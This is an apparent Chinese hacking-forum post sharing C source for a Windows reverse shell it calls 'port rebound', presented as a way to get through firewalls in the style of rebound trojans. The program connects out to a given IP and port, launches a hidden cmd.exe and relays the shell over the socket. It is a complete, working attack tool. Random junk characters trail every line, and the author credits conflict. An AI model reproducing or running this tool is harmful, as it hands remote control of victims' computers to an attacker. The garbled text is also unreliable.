Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 'p[6K'Uq5  
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/* ============================== zQ<&[Tuwa  
Rebound port in Windows NT 6
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By wind,2006/7 IA1O]i S  
===============================*/ S|u5RU8*"|  
#include oU3gy[wF;b  
#include GPAC0K^p  
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#pragma comment(lib,"wsock32.lib") 5r8 ["  
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void OutputShell(); n$j B"1  
SOCKET sClient; _kOuD}_|
 
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u(r T2  
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void main(int argc,char **argv) UlN}SddI9  
{ b,HXD~=  
WSADATA stWsaData; b N>Ar  
int nRet; @AG=Eq9<o  
SOCKADDR_IN stSaiClient,stSaiServer; vA*NJ%&`  
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if(argc != 3) )}w-;HX  
{ Q4ii25]*  
printf("Useage:\n\rRebound DestIP DestPort\n"); Jz;`L3m  
return; %iV\nFal>  
} k3OnvnJb  
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WSAStartup(MAKEWORD(2,2),&stWsaData); N9)ERW2`*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @J@bD+Q+0  
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stSaiClient.sin_family = AF_INET; l%2B4d9"v  
stSaiClient.sin_port = htons(0); 8^-g yx'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kgmb<4p  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yCg>]6B  
{ g=v[@{9Pw  
printf("Bind Socket Failed!\n");
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return; d7c m?+  
} XnvaT(k7Y  
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stSaiServer.sin_family = AF_INET; )./'RE+(k  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kS7T'[d  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~ YZi"u  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VxAR,a1+n  
{ z#&qWO  
printf("Connect Error!"); uoBPi[nK  
return; RzSN,bLR  
} pm;g)p?  
OutputShell(); :(x 90;DW  
} X_|} b[b  
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void OutputShell() lu.2ZQE
 
{ PsD]gN5"  
char szBuff[1024]; C[$<7Mi|;  
SECURITY_ATTRIBUTES stSecurityAttributes; &jPsdv h  
OSVERSIONINFO stOsversionInfo; %nc+VL4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~yf5$~Z  
STARTUPINFO stStartupInfo; EA>$t\z  
char *szShell; Z#W`0G>'  
PROCESS_INFORMATION stProcessInformation; ^jhHaN]G^  
unsigned long lBytesRead; bmddh2  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +Q_Gm3^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QU4'x4YS  
stSecurityAttributes.lpSecurityDescriptor = 0; Ip1Qm
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stSecurityAttributes.bInheritHandle = TRUE; 1X9sx&5H  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y! 1NS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F;NZJEy  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;~q)^.K3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tp6ysjao  
stStartupInfo.wShowWindow = SW_HIDE; !c`1~a!  
stStartupInfo.hStdInput = hReadPipe; ^ pR&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vA{[F7  
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GetVersionEx(&stOsversionInfo); &boBu^,94  
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switch(stOsversionInfo.dwPlatformId) Tuy*Df  
{ 5LK>n-  
case 1: ,?f(~<Aj  
szShell = "command.com"; y@z#Jw<  
break; +]_} \  
default: %?$"oWmenS  
szShell = "cmd.exe"; 1wM p3  
break; 7I
 
} #WG(V%f]  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0?sp  
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send(sClient,szMsg,77,0); &pAT  
while(1) 8|/YxF<  
{ ,5*4%*n\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3IxT2@H)  
if(lBytesRead) /L 4WWQ5  
{ f<'C<xnf  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3N21[i2/m  
send(sClient,szBuff,lBytesRead,0); M>#{
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} /P%:u0fX,  
else :U>
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{ *%e#)sn*  
lBytesRead=recv(sClient,szBuff,1024,0); rG]Xgq"   
if(lBytesRead<=0) break; >4E,_`3N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x@ O:  
} g/J!U8W"  
} {m?x},  
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return; 3PGyqt(   
}